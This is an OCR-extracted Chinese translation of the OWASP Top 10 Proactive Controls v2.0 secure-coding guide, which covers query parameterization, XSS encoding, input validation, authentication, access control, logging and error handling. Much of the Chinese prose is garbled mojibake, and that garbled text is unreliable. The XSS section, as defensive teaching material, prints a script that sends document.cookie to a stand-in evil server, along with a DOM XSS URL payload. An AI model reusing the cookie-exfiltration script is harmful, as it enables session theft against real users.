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About OWASP

The Open Web Application Security Project (OWASP) is a 501c3 non for profit
educational charity dedicated to enabling organizations to design, develop,
acquire, operate, and maintain secure software. All OWASP tools, documents,
forums, and chapters are free and open to anyone interested in improving
application security. We can be found at www.owasp.org.

OWASP is a new kind of organization. Our freedom from commercial pressures
allows us to provide unbiased, practical, cost -effective information about
application security.

OWASP is not affiliated with any technology company. Similar to many open
source software projects, OWASP produces many types of materials in a
collaborative and open way. The OWASP Foundation is a not--for--profit entity
that ensures the project's long--term success.
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5900, WEIFR B ARYE M & e AT R X RE Ty sUEAT ” S 12 Sk B
i

2 A AL AU B F R — . AN R A 22 4 1oy 8 B 3 T30 00T 2 7 g
A PAT. AEREL TN B SR 0 AR I E, e B4
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FEBLTHAE SRMRAS SIS gt b Z0K 22 422 JE ik 2. 2 2 P A A Jile LB
— YR A WS TT LASRAT (R B /N B, OWASP ASVS 7 S 4 7 SR 54 7.
SE 4 it R A5 AT DAZE A IR R, fildn s “2 MEHIE A > 3R
A ATLLHATEER AL A3 ESHID>. 7 B MRS BaE Ry
5 SRAE — FFUR TR SR & S I i ok % p& ok 25
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References

e OWASP Testing Guide
e OWASP ASVS

Tools

o OWASP ZAP

e  OWASP Web Testing Environment Project
e OWASP OWTF

o BDD Security Open Source Testing Framework

e Gauntlt Security Testing Open Source Framework

Training

e OWASP Security Shepherd
e OWASP Mutillidae 2 Project
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Y]
SQL iEN R IRSERK ) Web MAREFHIRERZ —. SQL IEANRIRA 7 i&
A2 IR B sh el TR R, SQL VEANNS T+ N A RE Rt Al
REIE A 12k B0 7™ B R

R SQLARADIE AN F Web AR P — W] DA B8 20808 B2 AT g
PEHL, MIEREIBEE.  Web MAIFERH 2 Al LR RXS I 4T Hcdha [ 1)
BRAERG R ENIRIE RIS, 2 SQL TEN SR T E A SR AL TR
SQL EiMiH A S S MM B EAE P ER TR H .
T80 SQLVE AN BB, 2R G AN TS AR S\ O SQL 1 A
— 8. weih B s BB 305 St 2 ok B S 5tk “ Query
Parameterization’. EMZETERLRK SQL iBFSSH o BE)RIE
2K Hhe 17 Ak FE
A VW £ W JF K HE 22 (Rails, Django, Node.js, etc.) 1 H
object-relational model (ORM) 5 s CRsHa i 45 1 e S5 Hiodhe 126 b
%, ORMs T8 SR 5 S\ A7 BB e Bt DR P T 538 R 7
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FoAd i SQL vEN B 1877 2Ob 0 & B ahifa i 5 8 R G A, Bk
e 51 EE R e B Oy R SRS Hu i) A U7 2K

Java Yufl

XA =N SHANAEMR Java AR EH]

String newName = request.getParameter("newName");
int id = Integer.parselnt(request.getParameter("id"));

PreparedStatement pstmt = con.prepareStatement ("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");

pstmt.setString(1, newName);

pstmt.setInt(2, id);

PHP Y5
f 1] PDO ) PHP Z 4L BV i -

$stmt = $dbh->prepare("update users set email=:new_email where
id=:user_id");

$stmt->bindParam( ' :new_email', $email);

$stmt->bindParam( ' :user _id', $id);

Python 7841

fi I Python Z4fL & rIvE 1

email = REQUEST[ ‘email’]

id = REQUEST[ 'id']
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cur.execute(update users set email=:new_email where id=:user_id”,

{"new_email": email, "user_id": id})
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. NET 5451

fiH] C#. NET 24 & il iRyl

string sql = "SELECT * FROM Customers WHERE CustomerId =
@CustomerId";

SqlCommand command = new SqlCommand(sql);

command.Parameters.Add(new SglParameter("@CustomerId",
System.Data.SqlDbType.Int));

command.Parameters["@CustomerId”].Value = 1;

R Bl

e OWASP Top 10 2013-A1-Injection
e OWASP Mobile Top 10 2014-M1 Weak Server Side Controls

2%

e  OWASP Query Parameterization Cheat Sheet
e OWASP SQL Injection Cheat Sheet
e OWASP Secure Coding Practices Quick Reference Guide
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P B

i o — BN VR 22 e Bl 4 B0 R0, el 2 A i AU By
Rl A BT R, AN By 20 1 g D 1) 07 SRR AT S
By —RBOEH AT S, EL gm0 77 XNl ik 5 jg. gmbday b
i A 2vEA. (Unix 484, Windows #§4) LDAP A
(LDAP #%if4) and XML injection (XML Zwh%)=%. FAh— A% T4
s XSS M By U5 2 s Ho st 0 S AL (B HIML 469,
JavaScript #mh5%5),

Zhpi

W 3t T A1 BN IE B 4 3 ML AN A B DT, R T 0E i A B
HTML/ JavaScript 5 M 7 i N FECHE T AL, X L4 A AE Rl A0 2 1)
RS A AT BEAE RS PR RS, AR DL B KRS I A 5 kA A e il
Cross-Site Scripting (XSS). XSS Ik A4 7F B & 4 N % & )
JavaScript ##E, 1L FEZH R ZM ISR, [AIB I HATIZER

JavaScript
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7 XSS site BT

<script>document.body.innerHTML("Jim was here");</script>

XSS S H:

<script>
var img = new Image();

img.src="http://<some evil server>.com?" + document.cookie;

</script>

XSS K7
XSS [ = FhRAL

* Persistent f#fF

* Reflected Uitk

* DOM based DOM
Persistent XSS (or Stored XSS) FZA:AE XSS Bali i LA i# A7
TE W 3l B dfe PE R R 2 b, IXREI XSS Bk 75 00 a fe e 1 e ks
R A BT 52 5 A8 P 3 N 2 i 2 52 B s, B — 11 XSS T
2 T A 5 5 22 T 2 A DO sl ) PR .
Reflected XSS 22K A= M UHEE T B & FIF XSS (% N\ B URL #—

i, 75 i URL. 523538 W e i URL Ik, XSS
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Kt . Reflected XSS IXFERIBLE 5 A ELELEA R4 fE 5,
PRSI R B AT i /e i E R S E AP ES), et
I R TSR T4 R

DOM based XSS F L/ AAE DOM 111 AN+ HTML. 95 A2 Ui P UAS £ A2
oA, BRI AR T N AT = BE%E DO RSB B2 S A Py
AR, XRER) B Ty R REAE SIS O 8. 28k, X ARk

hxxp://www. example. com/test. html @& FHFEFACHS

<script>document.write("Current URL : " +

document.baseURI);</script>

A DOM Based XSS X i J5 & wm Bl & & & X URL:
hxxp://www. example. com/test. html#<script>alert(l)</script>
R H R FH IR IR T E i <script>alert(1)</script>, KA
JavaScript HI#AT F2iE 1k DOM 177 2058 A

B g2 B4 XSS B R 72t g D T B AR S R
P R0, K FH S N AR DS B R AT 9w Y, X E T DA 4 3 28 199 T
BT XSS B A BT By, Holfs 9w g Al Be 72 HTML J& 1%, HTML
body B/ JavaScript & UL 4E

mtdf¥) 77 20 HTML Entity Encoding, JavaScript Encoding 5
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Percent Encoding (aka URL Encoding)%%. OWASP’s Java Encoder
Project R4 ek £y, A LAEEXS Java #E4T4mAD, . NET 4.5, AJ LA
H AntiXssEncoder Class, X ™ %% #2 ¢ 2 it CSS, HTML, URL,
JavaScriptString 5 XML encoders &M 4wt 7. 54h AntiXSS
WEZ R B LDAP 5 VBScript HIgwtd s 3. & — M IR P il 5
A2 AH R L v 0 B 2% B ) S

FHLN LI X

FHN AP, EEiET WebView 7£ android/i0S MR &R
HTML/JavaScript W%, FHLEHI AN %4 Safari 5 Chrome #%:042
P THENU R, R T Rl S AR 7ok 5, XSS B2 i i % i
B N B 50 2ol 2 i ) B 3 K HTML JavaScript IN#3) WebView
IS i KR FR XSS Bk, (AL, WebView tH 2 B 25 FH SR H ki 25 ) i ) — A
J7 3 IR A, IS AL L, OB TR, s L PSRy, I
LB S i B I FEURA A/ M B I 55 XSS

Xt 1K R B By 7 3 B 7 R 1% B R AT 8 T AL
WebView.

® RGN NA R Mo Uy 2 3 B A e

s e fa 2 Web View F4mA%K 52 BL.

v 2.0 © 2002-2016 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. 13



B"ﬁ‘g \ ctive OWASP Top 10 Proactive Controls Project

CONTROLS

® FEITAMHTIEINE: WH WebView HAZiEE B yR AT M 5k B,
S VA P ST 22 4 B 9 5 Ak 5 45 SR VR DR SR BEAH SR N2, 53 Atk
HTML/JavaScript F %t P9 25 00 DA 9w 65 SR 3. 38 50 4% Y
JavaScript 27 M.

Java a4

MK, OWASP Java Encoder XANTH$Eft XSS By B w4z

J% . OWASP Java Encoder Project.

PHP Ju 45
Zend Framework 2. Zend\Escaper AJ DLFHRXTH4E S i i) s

M ZF2 By gmAs e

<?php
$input = '<script>alert("zf2")</script>';

$escaper = new Zend\Escaper\Escaper('utf-8');

// somewhere in an HTML template
<div class="user-provided-input">
<?php echo $escaper->escapeHtml($input);?>

</div>

B3 B

® (OWASP Top 10 2013-Al-Injection
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® (OWASP Top 10 2013-A3-Cross-Site Scripting (XSS)

® (OWASP Mobile Top 10 2014-M7 Client Side Injection
B

® EANNLT EEZ% OWASP Top 10 2013-Al-Injection

® XSS K fEEZ% XSS

® (OWASP XSS Filter Evasion Attacks

® 4" XSSFEFF OWASP XSS (Cross Site Scripting) Prevention
Cheat Sheet

® 74" DOM XSSOWASP DOM based XSS Prevention Cheat Sheet

® fff H  Microsoft AntiXSS 4w 3 B B JE
ASP. NET. http://haacked. com/archive/2010/04/06/using—an
tixss—as-the-defaul t-encoder-for-asp-net. aspx/

® f{fi fH Microsoft AntiXSS 4% 74 B% # & = Z 4 15 K
. https://msdn. microsoft. com/en-us/security/aa973814. a

SpX

TA

® OWASP Java Encoder Project
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Ca: BT ol

Y]

AEARTER N FH R S8 B4 B 8] 432 BRE A8 EL S5 14 504 i A\ A 1 1% 2
PR NAS PTG, RIS IR P o o 0 40 A\ S B8 UE e 52
VESERRIERYE, OFEZERg T R H NS RE. BRIEZAL,
e %N RS20 BT S BN A FTE I AT BT A 112
HOdAT AR B

R A RN B RS B T e B, 20k, MR
Fe Rl e R S v P i DU AL AU 1) accountID SKREEATHRAE. %M
RGN ZERB 24 SQL injection BRI, JF AR
NI BEE 2 2 S YA e 1 HA A 777 R 80
BEREEEETRERRNA R, Sl kg, MR
FrRLizAB i 7 N — A SRV Account ID. PRI FHFE
WZRERS A ZH 7 accountID & 5 A AU IRAFHL.

B N6 UE 0 0 A il 55 s dm R AR % ) s e e LE A T RE A

T, BN P um B & a] LLiE i JavaSceript Jeil RS R
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P s AN B IEwa e, (B2 IS5 4% dm A 20l 2 2B . R B
ALFER IR A, RES 5 R G Tk AR 4% 9% B R R AT i
R

A RER 73 B W 2k 55 550K 22 1A N Bl i A\ EAT SR B SR E A 58
BRI OCR R T T RN, R R A R RN
(HABRT)

® HTTP headers

® C(ookies

® GET 5 POST ZA (2% hidden fields)

® % 4% uploads (HEMZRER S AL FERRMAN)

[F) e BTN AR P A AL

® [nter-process communication (IPC - 141, Android Intents)
® e i R 25 A I 1 A

® RN E I H s

X E RSN BRI, B ILRE AT, RO R AL R AR

4 5
RBABFERAGHEMARTECHIEEMAES D, Bapn

(75 3 EL BRI B o B R R A 2 4R IEER — 2R B g, Biiw
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BHER R WURA ORI R R A R AU AT B . XA B SO
IEMINERS T

H 24 B LB A A I N R SR IEE TR AR, 28K
15, WEE A RESCVFIEFE =D, M ARG MR EX =2
BESER A A RS, R AR ATt 2 2. e T

e ER A A RS BIEAHEMA LT RAUS CREET
Frele ATk 28Rk, A E B AR R B & g 3 R
AT 5.

EEZENMNMH RS, BRI Y BN, B

BT ANBCAE O 21 Wi 5 IR ARIBOURE, R4 2D RO
P Lt AN T P 55T

Regular Expression

Regular expressions #EHEEHEE AT AR —F07 X, X2 —H
A RS A 44 FIRAIE R 5 3

205 B Y ety g I e, Pl o T T A RR, RS L R
FEL. BEA WAL XS, WMABERNEEE. & Regular

Expressions FIE6AE 73X, AT LLE A 44 M)A & 5 A SUR.
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240t BATFIH regular expression @ fd &K &I

Ala-20-9_1{3,16}$

XA~ regular expression MEFEIA R U/ NEFEE, HE, IR,
& SRR T 3-16 MK E R 7B

Xof 5 A AT LG S A T N e 2 AL

A(r=.*[a-z]) (?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,4000}%

XA regular expression FR#ZAS HEEETE 10 21 4000 N TR,
AR BSOS KNG FEE, FRAT50, 4, $ or %%,

%t BB T BB M U regular expression Y@ 1 ®] DL =
% http://www. w3. org/TR/html5/forms. html#valid-e-mail-addre

SS).

~a-zA-Z0-9. | #$%&" *+/=2"_ " {|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$

AUFHI regular expressions ¥ TF2 FEDOS M B, BINAEEEA
XFER A% ey, nT LR regular expression PR T B Wp BT
I HEATAH IS,

AT SRR R 15 LG E B 4E 5 regular expressions. Z5R U, G0 SRR H
R T AT HTML N2, S\ BIECHE 0 1 HTML B4 IX AR A 25t 2 AR M

S 44 L X R 2 U A HTML 364F 85 2%, 1 AE{# H regular expression

117728, 2% XSS Prevention Cheat Sheet on HTML Sanitization.
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PHP 7451

PHP v5.2 ZJa $2ftn] UR iy NS0 25 BRARA AP L. R e
(US4 E/ZB ORI DIV
4G EL Al RSPURYY N FER 7 b

<?php
S$sanitized email = filter var(S$email, FILTER SANITIZE EMAIL)
if (filter var($sanitized email, FILTER VALIDATE EMAIL)) {

echo "This sanitized email address is considered valid.\n";

}

J£%E: Regular Expression:

M regular expression HIJ7 AUHSL kI UE Ty AARMERL M,  HiAth
U 7 RS LUK A B A 0 ) o G A 1 AT

HE 2 ERIE

KRN I8 TR0V 56 A U L BT I AR AR ez 4, RN
RA TR 2 B P A S R R TR, R AR 7 2 A A1
KM FARRIBT A 250k UE, W R E sl HIML A%, b
i HTML 4% LABJ 1E: Cross-Site Scripting Biti. M1 fZEiEid SQL &
FPAT, WAL AUE S H b 596 Query Parameterization HIJ7 3. £F
XF XSS 22 SQL injection AT 7 sUHE G 1258 B 2 1) B 4 A\ SR ik
Kk B w2 P, )
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® OWASP Top 10 2013-Al-Injection (in part)

® OWASP Top 10 2013-A3-Cross-Site Scripting (XSS) (in part)

® OWASP Top 10 2013-Al10-Unvalidated Redirects and Forwards

® OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs
(in part)
5%

® OWASP Input Validation Cheat Sheet

® OWASP Testing for Input Validation

® OWASP IOS Cheat Sheet Security Decisions via Untrusted Inputs

TH

® OWASP JSON Sanitizer Project

® OWASP Java HTML Sanitizer Project
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B B

WWIE F R IIEAN N2 T AZE RN S, Skl iE 42 gL A8 A
K 5 H A A R ROZEE R R AL TS LK.

SR E B B RAEFFUEIRZS 10— P L. X 75 25 o IR 45 #1015
AN TR G GRS HE. Sessions W 1E% P i -5 Mk 55 4 i A
AR EIE, [Nt sessions WiZh 20 fRF5E— 1 1T HANZE 5) 1
.

G IEEEE — AN E R 38, AMULEEIMES 258 2, B4
R4 T M AH TAAE identity federation, H—K 5 % NIAIE
single sign on S &R, R, S HESE.

DA a2 A0yt L 1 05 A DR AR 3 AR a1

{8 2 1A UE Mul ti-Factor Authentication

Z AT NiE-factor authentication (MFA) )77 U] LR R H P i i
THIZ EA A HOAE:

o FHPiE—aEE PIN
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. EREHEMAH - FHL

o JHPGRME - EWINRLE, PIANIREL

n] 2% OWASP Authentication Cheat Sheet H:fth 4115 B .

FHLNMHFEF: Token-Based Authentication

TR AL R i, S e e i A7 5 73 A UEE 25 7 i 52 T3
B, WA AR SHIL G, RS A —H A A D
IR token, XN AUAS AT LALE IR 5545 46 10F T AL 17 A 75 22 1
AR A8 T 3 S

TR EF T

N T EAR AL ESR A VAR, N 2R G0N 25 B 2 4 1) 7 s A
5B, BRI AN, TN 2 gl el s an R BB AR, A% 1E R
= AR PRV E A EPSY

Z:[i%] OWASP Password Storage Cheat Sheet

R A linkse Uik aliIN |

A S0 E 2 N RGRE I ThAE.  — N RS [ =

R KM 2 W HAIER 7 b4y, Blani i (8 & e - fi il
FERHE, FSNEL R FHUREVAER - 7 FriAT m 3
B
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iH Z 1)

Forgot Password Cheat Sheet and Choosing and Using Security Questio

ns Cheat Sheet

= AR ETHIR MK
HELNUE DI B BOFAERS, B2 7 A8 session ID.

N T EBRREXN T AU 21U session BEAT I,

session WA E KBRS = BUN R AR 2 5 2B 4TI,
Z Wt BRI R AN 1% 5 R O E R LE . B
L3¢ GO SO G B |11 VA 3 A R T I

l\ﬂ Session Management Cheat Sheet .

o T RUR M D) RE ML B E BT R AL
ot TR 52 5, AR B A B R S A K U S S

HN 12 E A B A UE RS R, I HAE D UE B B i B8 7 R HT Y

session ID.
PHP 2515 fi F7-36 451

PLR A& PHP 1# ] password_hashO) i A7 ya (5. 5. 0 fieA) BRIAfE
H berypt &%, TAITEHIE A work factor=15.

<?php

$cost = 15;
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$password_hash = password_hash("secret_password",
PASSWORD_DEFAULT, ["cost" => $cost] ); 2>

5

S NER %A — D EERTGE, BATR A e AR B 50,

L% 5 it s L e B R ) AR i A (R SR X i B 22 AR
B 55 R

® OWASP Top 10 2013 A2- Broken Authentication and Session

Management

® OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication

SRR

® OWASP Authentication Cheat Sheet

® OWASP Password Storage Cheat Sheet

® OWASP Forgot Password Cheat Sheet

® OWASP Choosing and Using Security Questions Cheat Sheet

® OWASP Session Management Cheat Sheet

® OWASP Testing Guide 4.0: Testing for Authentication

® |OS Developer Cheat Sheet
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L

B (A IEEE ) 2 BT X R 58 B A UR 3K, IWrZis SR2 15 W%
PRz MR IR, ZER MR RS INER AR, XEANHHEZ
HIRIA.

BRI BT Al PA i fa] BTG, 2 R R N Y &R 4 10 7 SR EE N BN R
A, R MR A e & it W58, —H
196 58 5 € WU SRAUZE RIS, 2 )5 2 38 5 SO iR L i = b
BPRIME. Rp ol e AE 22 AP R A SE N, BURE BEAE N H R St % 2B
PR EH

55 Bl BT O 1 BUAT 75 2 e A PR 2

1 VF 2 BINE SR B2 A5 5 1 5 A FERE PP A QRS I N i 2y g f0 e 25 1
A HEATRUR IR, A BORUBR P 1 N2 2 Hh 4258, BirAT (A7 HOAR B
B I RV EOB PR A, 25 RE ] RLBETE —A> H 3 i sE R pL i,
R P AT BOAF HUAR 2 I AR 4% 1 7 A &

BB
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EIS H AR A AL, 25 B8 TR I A A 8 ARG 2 () A7
BUHSAS SR VA7 X, SR FE AT DA 43 D e DR 9 A e O st T 43 AR &
1M -5 Bk 5B IE (1) 25 3R,

/MR JEE )

BT RS, BrE B e RGN A B E )
(R R, £ S 5 1A RSO BRI ] A PR AT AH 5C 1 Dy R
BRI F S (Hard-Coded) PR

AW ZIHNARIEE W S ER FERY . Xk e aLs
Rl R AR, G SR AT DA, BOSRAEE R N 3% 5 ) 1
T3 7 A AR A A b e AR TR E 7 .

ErPARE

A VF 2 HOAE SRR 156 3 A ok ok e BR324 AR 325 2 3
A LB PR 12 it 2 38 1) 22 e B P it HR AR sk B AT
s DL 55060 N B D) RE R IR AR 2. TX AR RGN 12 B g S
BRI PR S NS¢ 28, 28R U, A5 2 A FH 28 2 AR 91 1 H
BEUA th, AH R A7 B H FAH AR f Mk Tl R 8 2% 20 PLE L,
NIRRT

if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
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deleteAccount();

}

IR R Y 3] -

if (user.hasAccess("DELETE_ACCOUNT")) {

deleteAccount();

}

5 55 25 Vi FH) 5 AR 209 22 DAB PR 425 0 = 1)

FTVFZ 115 15 PO B4R 0 LR 552 i A SR e B A P 5 )
A, HUPAS, TP, WREE A 5 s D F I, ShIRAT
B, XS S T R O S A R R A T AT LAARER, R P L
FEREAE A Yot BUSRLIGOR P iy € R AR SR U A R
R PR AU — 300y, — ARk I S R e, &
SECE AT id WEAEV BRI, VP2 HA e T BRI
{35 JEL L 2% 3 A 45 8 U A 75 B 5 A7

Java Ja.4
Hifg B pT e, @UCE U iR E XS RS, X%

Gt Jr Aomt n] L b sz e NS PRSI SR R AU AL IR C B %
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%112k 15 Apache Shiro API F& 1L 4] 5 11] INI-based configuration file %74 it &

A SRR A2 A BRI AT B i A b i) 7 U3 PE I %8, Apache Shiro
WA LIS Z HE Java MAEMHESIZE (Spring, Guice, JBoss,
etc). Aspects tBIRHLATLATARR 12 ] 5 MR > A5 73 88 A pLA],
I BLERBERT DARE R 1 9245 J7 3K

ZERH

e OWASP Top 10 2013-A4-Insecure Direct Object References

¢« OWASP Top 10 2013-A7-Missing Function Level Access Control

¢ OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication

¢« OWASP Access Control Cheat Sheet

¢ OWASP Testing Guide for Authorization

¢ OWASP i0OS Developer Cheat Sheet Poor Authorization and

Authentication
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INE AR R A R

AR BUREIR R NHE, RGN B N A MNAZ A AR 1
R RE NG, TLS A& F Al 3 i 4 Wt 5 RSOt A 34 n (14 7
X RECEHLECHM R LM (e. g. Heartbleed), TLS N
7 b 2 WAEAL 3 AR .

B e

TR A A AR KE A B 2 4. BB 1) o0 SRt 2 S i s T s 1 7 2L
BlinfE R8s i 255 & PCI-DSS WEFR#E. WRARAEEHC
AL H O ARG, W2 e A AR 8 1K) b A B2z 5 1 5
55 BB A e a2l Wik fineE 5k, AR BATIT RN
k. ATLMEH] Google KeyCzar HIMN##E4PE, Bouncy Castle %5
I PR AR S AEIZBE % SDK. F3 AX T AR 456 10 AL B th o 2%
JEE P E SRR R R it X TR R GEE )R
ARG B REER R,

HCHE A% o I (0 55 R R AR AE U AN T 5 1R o o A BGRR N
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PEHE M. EYINZBAL B I H R BEAFE R R 1Y
frfde . i BB 7 A RE S A7 BUZ 3 9 BLAE 5 22 A7
M B, e B AT AR TR R BE AR Ok BE AT I, 1
Hardware Security Module (HSM) AI#HEEE, In#AHRMIFEF S
BRI ST IE AR,

B IR RIBT

A DR BURVEAS AN S EARIE I I AR R A, BURE(S B AT RE A
BAFI, - BIE M IR et A7 X R A A7 T i A S DA S5 e PR A B
FHNAERF & i R L 2P

T FHEARERD, BONGHE S R BR800 IR R, - X 9B
PPN L B 2 e R ELE AW A . MR IR B A,
RE 5 2 BU™ B RGN CEPRRT NEE R, FIIIE token
). HEE E B EUREE I SR 7 st A ZOR A i A AR T
Mo, H2FEN 10S keychain )77 2 A7 HT AL,

ZERP

e OWASP Top 10 2013-A6-Sensitive Data Exposure

¢ OWASP Mobile Top 10 2014-M2 Insecure Data Storage
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TLS Z4=i% 52 OWASP Transport Layer Protection Cheat Sheet

o PP N5 0hiE TLS UE15 11 X By : OWASP Pinning Cheat Sheet

« OWASP Cryptographic Storage Cheat Sheet

¢ OWASP Password Storage Cheat Sheet

¢ OWASP Testing for TLS

o |10S Developer Cheat Sheet: OWASP iOS Secure Data Storage

o [0S Application Security Testing Cheat Sheet: OWASP Insecure data

storage

TAH

o OWASP O-Saft TLS Tool
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Wi B
R AR HERZ AR TRFBREMHE. HEEksHEL el
BTk, 2

o FREP

o kA

. W HEBRS G

o RGNZKMN System intrusion detection

« BT 5% Forensics
St HE S 2 eF A BT BB 5P EIRATAT L E AH K
)22 4 PS5 B (B4 2 75 A RACR.
AT BALSGESNTE A S, @ LA A 1 B S LR R
SR H BTS2 5. 1 e] LA SLFAT 1 Logback B/ Apache
Log4j2 f H EAELLEE,
P A, 225 HEH Il 2B B imgisE, xd
FoNIZLE H ERW MG, XA RA S M AR M
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PSR, 2862k, PCT DSS & i H G2 B & 3 SEk [l i (1% 3 H
S CASR BT (1) B B AT DA IR TR) S 0 52 5 i) s PEHEAT RE .
T HE LML 2 5 D AA . ZH Ok 0 A EF
HATBLFAKIE IP 5 user 1D, {ERUINERARER LD AR
s N ALV RIE . & H SR F R A S 2% 20 5% Y 7
MRERZ. A HE RS AN EE T g 77 AT, Bk H S8
i Log Injection aka log forging.

OWASP AppSensor Project $i& {1t Ui fn] [ 3k N FH 22 408 5 B\ A= Al 5 3 3l

7 180 )9 P < A A ANAGE IR U 5 L5 S [e] 2R AT s oK 75 7 kA ks )
Hete. 2GR, U0 AR 55 i 55 4 i T 2 A RIA RO Bl N, B —
AN ANBE 15 G 4 10 B3 5 BU(EE 02 B 5 I AR 55 A5, R0 %R i
55 de il s BB, XA ZE R R HEILS K, @D

RE

GEEE, HUERIL T RITEN RS, HIUZBGE L ek
AL e R EP RS FUAE RS

EFHNHFER, BFPIPRMMIZAH HERET R, ZHE2T
HOVF 2 WU AS B AN R AL XS FHLH A BB Xcode IDE
(i0S) =72 Logcat (Android) =ls2 e s =75 TR FHL LM

H AT 0 S B BRI, 3T PR, sl 5005 30t 2K H &
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HI D) REHUTH.

R 22 4 H SRS T HIEER

1. HERLWEZH, #in i.e. Information, Warning, Error,
fatal or Security Breach (highest value)

2. AT DUCHE AR S g B o H 35 N I B

3. AELFBURIMEEE. ¥R, #65, session ID BUEH Y]
Hash &, B+, RS

4, RIPHER TR, BEARSBEHE. Kk, H SRR
HIBLR 5 H B I REIZER R IZ N5 JE.

5. HERZE KNI - J% T LLg a2k oK & 1) ok S B 2
() A R B A B BT H S

B Android FHEFFKIH &

HH Android FHUEERA H S G fa #7522 H Android ProGuard,
AT HESKBMXPHdSI R ABER. TU&ET

proguard-project. txt Bt & & X :

-assumenosideeffects class android.util.Log

{

public static boolean isloggable(java.lang.String, int);

public static int v(...);
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public static int i(...);
public static int w(...);
public static int d(...);
public static int e(...);
}

B

i0S FHEFKI H &

[FREIE I AT LB A 10S FHLN IR, FIH preprocessor )

€ X7 M b H B SR P AXAY -

#endif

#ifndef DEBUG

#tdefine NSLog(...)

ZEPi

All Top Ten!

Mobile Top 10 2014-M4 Unintended Data Leakage

SEHYE

TAH

T IER Y E H 5 OWASP Logging Cheat Sheet

iIOS Developer Cheat Sheet: OWASP Sensitive Information Disclosure

OWASP Logging

OWASP Reviewing Code for Logging Issues

OWASP AppSensor Project

OWASP Security Logging Project
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i B Wb AR SS EE TN RE R, AR SR B3 4 it 2K 2R B AT
EEIT KT Ha 380 2 24 Wi, W E 2
2 MR AFE T & 5 e B R e bV 2 Al SEfE B

WO H AT 28K, R EE R 2 aetese. Wl e e

e Spring Security

¢ Apache Shiro

« Django Security

o Flask security

FHNE A IR FEHE LRI 72 ATV AE L AT, Wk 3 (T e 1 34

it de, DL =TI S AU, 2891k 5, Wordpress HESR—
AR SRR, ) AP [R5 2 Wty 5255 22 2 i 10 SE R,

{B7%& Wordpress 2% =77 THAA—E XA a4 T S 8. KUk,
SEWCHAN ) = P 6 i, A% e Ah 1, R IR SR L 2
W]

ZEPi

22 A NE SR B R] DL G i LAY Rt RSz, 5 4n OWASP Top 10, 512
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TR N YE 720 (Blandm N JavaScript B #E 2 FR).
A5 FH 22 4 A ZR ) B B DR T2 ME ZE 1) B RT AR, 8 40 18 52 ) 20 B B
ifi, ZFEd Bt Top 10 2013

5%

¢« OWASP PHP Security Cheat Sheet

e OWASP .NET Security Cheat Sheet

e Security tips and tricks for JavaScript MVC frameworks and templating

libraries

e Angular Security

¢« OWASP Security Features in common Web Frameworks

¢ OWASP Java Security Libraries and Frameworks

¢ OWASP Dependency Check
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ARSI IME S DI R, (HR R S B ARG ) Ak
BA ISR EE R, AR IR 2 RS 2 2 2R
7] B PRI -

1) e 2 45 BB %, AR R RIE R 55 A 6 A I BoR 5 i

T+ CWE 209. 513Kt A1 & stack trace Bl & H B N B FEGHAS 57 1) iR

B FEOLR T RNIEE 2 J5um i or f iz fpiZsE. REtbsad
ANTR] AR R 2 2 (A, AR A FH P BGRB8 ) R T AR AR 55 4
o AL

2) SEAEAMIGE R A & T BU R TC TR il 21 B2 To 7k U ) 45
R CWE 391 University of Toronto HIWFFT G2 K IAE AT ARG,

ok oA E R ERIRE SRS K BN EEFRN

https://www.usenix.org/system/files/conference/osdil4/osdil4-paper-yuan.pdf.
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RSN EAE R E S 2 e E. EEEFARS R AR,
AR5 BB, fuzzing (Euzzing) MREEHR AT LS BhHE 214 15

AP, Hoh & 44 10 B 346 T BN Netflix's Chaos Monkey.

2
XF T A A SCR A e B T S P 2 R try/catch
REFPACRS ) B, B ORAR T A9 47 D #mT LR 0 4 N FH R P AL 2
o FRERGHERNEASHIEEIZNESR, HEZHP
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¢ OWASP Code Review Guide - Error Handling

¢ OWASP Testing Guide - Testing for Error Handling

¢ OWASP Improper Error Handling
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o Aspirator # i ACFERS A T

v 2.0 © 2002-2016 OWASP Foundation This document is licensed under the Creative Commons Attribution-ShareAlike 3.0 license. 40


https://www.owasp.org/index.php/Fuzzing
https://github.com/Netflix/SimianArmy
https://www.owasp.org/index.php/Top_10_2013-Top_10
https://www.owasp.org/index.php/Error_Handling
https://www.owasp.org/index.php/Testing_for_Error_Handling
https://www.owasp.org/index.php/Improper_Error_Handling
https://github.com/diy1/aspirator

